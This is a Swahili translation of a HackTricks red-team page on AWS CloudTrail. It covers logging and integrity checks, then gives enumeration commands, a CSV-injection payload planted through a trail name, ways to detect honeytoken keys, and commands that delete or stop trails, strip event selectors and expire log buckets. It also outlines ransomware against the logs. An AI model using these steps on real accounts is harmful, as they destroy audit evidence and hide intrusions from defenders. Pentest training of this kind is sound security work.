AWS - CloudTrail Enum

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

CloudTrail

AWS CloudTrail inarekodi na kufuatilia shughuli ndani ya mazingira yako ya AWS. Inachukua kumbukumbu za matukio za kina, ikiwa ni pamoja na nani alifanya nini, lini, na kutoka wapi, kwa ajili ya mwingiliano wote na rasilimali za AWS. Hii hutoa mkia wa ukaguzi wa mabadiliko na hatua, ikisaidia katika uchambuzi wa usalama, ukaguzi wa kufuata, na ufuatiliaji wa mabadiliko ya rasilimali. CloudTrail ni muhimu kwa kuelewa tabia ya mtumiaji na rasilimali, kuimarisha hali ya usalama, na kuhakikisha kufuata sheria.

Kila tukio lililorekodiwa lina:

  • Jina la API iliyopigiwa: eventName

  • Huduma iliyopigiwa: eventSource

  • Wakati: eventTime

  • Anwani ya IP: SourceIPAddress

  • Mbinu ya wakala: userAgent. Mifano:

    • Signing.amazonaws.com - Kutoka AWS Management Console

    • console.amazonaws.com - Mtumiaji wa msingi wa akaunti

    • lambda.amazonaws.com - AWS Lambda

  • Vigezo vya ombi: requestParameters

  • Elementi za majibu: responseElements

Matukio hurekodiwa kwenye faili mpya ya kumbukumbu kila dakika takriban katika faili ya JSON, zinashikiliwa na CloudTrail na mwishowe, faili za kumbukumbu hutolewa kwa S3 takriban baada ya dakika 15. Kumbukumbu za CloudTrail zinaweza kukusanywa kote katika akaunti na mikoa. CloudTrail inaruhusu kutumia ukamilifu wa faili ya kumbukumbu ili uweze kuthibitisha kuwa faili zako za kumbukumbu hazijabadilika tangu CloudTrail ilipokuletea. Inaunda hash ya SHA-256 ya kumbukumbu ndani ya faili ya kuchakata. Hash ya sha-256 ya kumbukumbu mpya hujengwa kila saa. Unapounda Trail, wachaguzi wa matukio watakuruhusu kuonyesha trail ya kurekodi: Matukio ya Usimamizi, data au ufahamu.

Kumbukumbu zimehifadhiwa kwenye ndoo ya S3. Kwa chaguo-msingi, Ufichamishaji wa Upande wa Seva hutumiwa (SSE-S3) hivyo AWS itadondoa maudhui kwa watu wanao na ufikivu kwake, lakini kwa usalama zaidi unaweza kutumia SSE na KMS na funguo zako mwenyewe.

Kumbukumbu zimehifadhiwa katika ndoo ya S3 yenye muundo wa jina hili:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Ikiwa jina la ndoo: aws-cloudtrail-logs-<accountid>-<random>

  • Mfano: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

Ndani ya kila folda, kila kumbukumbu itakuwa na jina linalofuata muundo huu: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Mkataba wa Kutaja Faili za Kumbukumbu

Zaidi ya hayo, faili za kuchakata (kutathmini usahihi wa faili) zitakuwa ndani ya ndoo ile ile katika:

Kukusanya Kumbukumbu kutoka kwa Akaunti Kadhaa

  • Unda Jaribio katika akaunti ya AWS ambapo unataka faili za kumbukumbu zipelekwe

  • Tumia ruhusa kwa ndoo ya S3 ya marudio kuruhusu ufikivu wa msalaba kwa CloudTrail na ruhusu kila akaunti ya AWS inayohitaji ufikivu

  • Unda Trail mpya katika akaunti zingine za AWS na chagua kutumia ndoo iliyoumbwa katika hatua ya 1

Hata hivyo, hata kama unaweza kuokoa kumbukumbu zote katika ndoo moja ya S3, huwezi kukusanya kumbukumbu za CloudTrail kutoka kwa akaunti kadhaa katika Kumbukumbu za CloudWatch zinazomilikiwa na akaunti moja ya AWS.

Kumbuka kuwa akaunti inaweza kuwa na Trails tofauti kutoka kwa CloudTrail zilizowezeshwa zikihifadhi kumbukumbu sawa (au tofauti) katika ndoo tofauti.

Cloudtrail kutoka kwa akaunti zote za shirika katika 1

Unapounda CloudTrail, ni rahisi kuonyesha kuwezesha cloudtrail kwa akaunti zote katika shirika na kupata kumbukumbu katika ndoo 1 tu:

Kwa njia hii unaweza kwa urahisi kusanidi CloudTrail katika mikoa yote ya akaunti zote na kuzingatia kumbukumbu katika akaunti 1 (ambayo unapaswa kuilinda).

Ukaguzi wa Faili za Kumbukumbu

Unaweza kuangalia kwamba kumbukumbu hazijabadilishwa kwa kukimbia

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Kumbukumbu kwa CloudWatch

CloudTrail inaweza kutuma kumbukumbu kwa CloudWatch moja kwa moja ili uweze kuweka tahadhari zinazokuonya wakati shughuli za shaka zinafanywa. Tafadhali kumbuka kwamba ili kuruhusu CloudTrail kutuma kumbukumbu kwa CloudWatch, jukumu linahitaji kuundwa kuruhusu hatua hiyo. Ikiwezekana, ni vyema kutumia jukumu la msingi la AWS kutekeleza hatua hizi. Jukumu hili litairuhusu CloudTrail:

  • CreateLogStream: Hii inaruhusu kuunda mito ya kumbukumbu za CloudWatch Logs

  • PutLogEvents: Toa kumbukumbu za CloudTrail kwa mto wa kumbukumbu za CloudWatch Logs

Historia ya Tukio

Historia ya Tukio la CloudTrail inakuruhusu kuangalia kwenye meza kumbukumbu zilizorekodiwa:

Uchambuzi

CloudTrail Insights kiotomatiki anachambua matukio ya usimamizi wa kuandika kutoka kwa njia za CloudTrail na inakuonya kuhusu shughuli isiyo ya kawaida. Kwa mfano, ikiwa kuna ongezeko la matukio ya TerminateInstance ambayo yanatofautiana na misingi iliyowekwa, utaona kama tukio la Uchambuzi. Matukio haya hufanya kupata na kujibu shughuli za API zisizo za kawaida kuwa rahisi kuliko hapo awali.

Machanganuo haya hifadhiwa kwenye ndoo ile ile kama kumbukumbu za CloudTrail katika: JinaLaNdoo/LogsLaAWS/KitambulishoChaAkaunti/CloudTrail-Insight

Usalama

Uadilifu wa Faili la Kumbukumbu ya CloudTrail

  • Thibitisha ikiwa kumbukumbu zimebadilishwa (zimebadilishwa au kufutwa)

  • Inatumia faili za sindano (unda hash kwa kila faili)

    • Ufumaji wa SHA-256

    • SHA-256 na RSA kwa saini ya kidijitali

    • ufunguo wa faragha ulio mali ya Amazon

  • Inachukua saa 1 kuunda faili ya sindano (inayofanywa kila saa)

Zuia ufikiaji usioruhusiwa

  • Tumia sera za IAM na sera za ndoo ya S3

    • timu ya usalama —> ufikiaji wa msimamizi

    • waangalizi —> ufikiaji wa kusoma tu

  • Tumia SSE-S3/SSE-KMS kusimbua kumbukumbu

Zuia faili za kumbukumbu kufutwa

  • Zuia ufikiaji wa kufuta kwa kutumia sera za IAM na ndoo

  • Sanidi S3 MFA ya kufuta

  • Thibitisha na Uthibitishaji wa Faili la Kumbukumbu

Mshauri wa Upatikanaji

Mshauri wa Upatikanaji wa AWS unategemea kumbukumbu za CloudTrail za siku 400 zilizopita kukusanya machanganuo yake. CloudTrail inachukua historia ya wito wa API za AWS na matukio yanayohusiana yaliyofanywa katika akaunti ya AWS. Mshauri wa Upatikanaji hutumia data hii kuonyesha wakati huduma zilizopatikana mwisho. Kwa kuchambua kumbukumbu za CloudTrail, Mshauri wa Upatikanaji anaweza kubaini ni huduma gani za AWS mtumiaji wa IAM au jukumu limepatia na wakati ufikiaji huo ulitokea. Hii husaidia wakurugenzi wa AWS kufanya maamuzi yaliyo na msingi kuhusu kurekebisha ruhusa, kwani wanaweza kutambua huduma ambazo hazijapata ufikiaji kwa muda mrefu na kupunguza ruhusa zilizopitiliza kulingana na mifumo halisi ya matumizi.

Hivyo basi, Mshauri wa Upatikanaji huwajulisha kuhusu ruhusa zisizo za lazima zilizotolewa kwa watumiaji ili msimamizi aweze kuziondoa

Hatua

Urambazaji

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

Uingizaji wa CSV

Inawezekana kufanya uingizaji wa CVS ndani ya CloudTrail ambao utatekeleza nambari za kupendelea ikiwa kumbukumbu zinafanyiwa kazi kwa CSV na kufunguliwa na Excel. Nambari ifuatayo itazalisha kuingia kwa kumbukumbu na jina mbaya la Trail lenye mzigo wa data:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Kwa habari zaidi kuhusu Mashambulizi ya CSV angalia ukurasa:

Kwa habari zaidi kuhusu mbinu hii maalum angalia https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Kupita Kugundua

HoneyTokens kupita

Honeyokens zinaundwa kwa kugundua utoaji wa habari nyeti. Kwa upande wa AWS, ni funguo za AWS ambazo matumizi yake yanafuatiliwa, ikiwa kitu kinachochochea hatua na funguo hiyo, basi mtu lazima ameiba funguo hilo.

Hata hivyo, ufuatiliaji huu unafanywa kupitia CloudTrail, na kuna huduma za AWS ambazo hazitumi logs kwa CloudTrail (pata orodha hapa). Baadhi ya huduma hizo zitajibu kwa kosa lenye ARN ya jukumu la funguo ikiwa mtu asiyeidhinishwa (funguo la honeytoken) anajaribu kupata.

Kwa njia hii, mshambuliaji anaweza kupata ARN ya funguo bila kuzindua log yoyote. Katika ARN mshambuliaji anaweza kuona ID ya akaunti ya AWS na jina, ni rahisi kujua ID na majina ya akaunti za kampuni za HoneyToken, hivyo njia hii mshambuliaji anaweza kutambua ikiwa funguo ni HoneyToken.

Ugunduzi wa HoneyTokens

Pacu inagundua ikiwa funguo linamilikiwa na Canarytokens, SpaceCrab, SpaceSiren:

  • Ikiwa canarytokens.org inaonekana katika jina la jukumu au ID ya akaunti 534261010715 inaonekana katika ujumbe wa kosa.

  • Kwa kuyajaribu hivi karibuni, wanatumia akaunti 717712589309 na bado ina neno canarytokens.com katika jina.

  • Ikiwa SpaceCrab inaonekana katika jina la jukumu katika ujumbe wa kosa

  • SpaceSiren hutumia uuids kuzalisha majina ya watumiaji: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Ikiwa jina linaonekana kama limezalishwa kwa nasibu, kuna uwezekano mkubwa kuwa ni HoneyToken.

Tafadhali kumbuka kuwa APIs zote za umma zilizogunduliwa kutokuwa zikiumba logs za CloudTrail sasa zimefanyiwa marekebisho, hivyo labda unahitaji kupata yako mwenyewe...

Au unaweza kupata ID ya Akaunti kutoka kwa iliyofichwa ndani ya funguo la ufikiaji kama ilivyoelezwa hapa na kisha angalia ID ya akaunti na orodha yako ya akaunti za Honeytokens AWS:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print ("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Kwa habari zaidi angalia utafiti wa awali.

Kupata Miundombinu ya Tatu

Baadhi ya huduma za AWS zitazalisha miundombinu fulani kama Databases au makundi ya Kubernetes (EKS). Mtumiaji akiongea moja kwa moja na huduma hizo (kama API ya Kubernetes) hataitumia API ya AWS, hivyo CloudTrail haitaweza kuona mawasiliano haya.

Hivyo basi, mtumiaji mwenye ufikiaji wa EKS ambaye amegundua URL ya API ya EKS anaweza kuzalisha token kwa kifaa chake na kuongea moja kwa moja na huduma ya API bila kugunduliwa na CloudTrail.

Maelezo zaidi katika:

pageAWS - EKS Post Exploitation

Kubadilisha Mipangilio ya CloudTrail

Futa nyayo

aws cloudtrail delete-trail --name [trail-name]

Acha nyayo

aws cloudtrail stop-logging --name [trail-name]

Lemaza kuingiza kwa mikoa mingi

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Lemaza Kuingiza Kwa Chaguo la Matukio

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Katika mfano wa kwanza, kifaa cha tukio kimoja kinaonyeshwa kama safu ya JSON na kitu kimoja. "ReadWriteType": "ReadOnly" inaonyesha kwamba kifaa cha tukio kinapaswa kunasa matukio ya kusoma tu (kwa hivyo ufahamu wa CloudTrail hautachunguza matukio ya kuandika kwa mfano).

Unaweza kubadilisha kifaa cha tukio kulingana na mahitaji yako maalum.

Kufuta kumbukumbu kupitia sera ya maisha ya S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Kubadilisha Mpangilio wa Bakuli

  • Futa bakuli la S3

  • Badilisha sera ya bakuli ili kukataa maandishi yoyote kutoka kwa huduma ya CloudTrail

  • Ongeza sera ya mzunguko kwa bakuli la S3 kufuta vitu

  • Lemaza ufunguo wa kms uliotumiwa kusimbua magogo ya CloudTrail

Ransomware ya CloudTrail

Ransomware ya S3

Unaweza kuzalisha ufunguo usio na usawa na kufanya CloudTrail isimbue data na ufunguo huo na futa ufunguo wa kibinafsi ili maudhui ya CloudTrail yasirejeshwe. Hii ni msingi wa ransomware ya S3-KMS iliyoelezwa katika:

pageAWS - S3 Post Exploitation

Ransomware ya KMS

Hii ni njia rahisi ya kutekeleza shambulio lililopita na mahitaji tofauti ya ruhusa:

pageAWS - KMS Post Exploitation

Marejeo

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated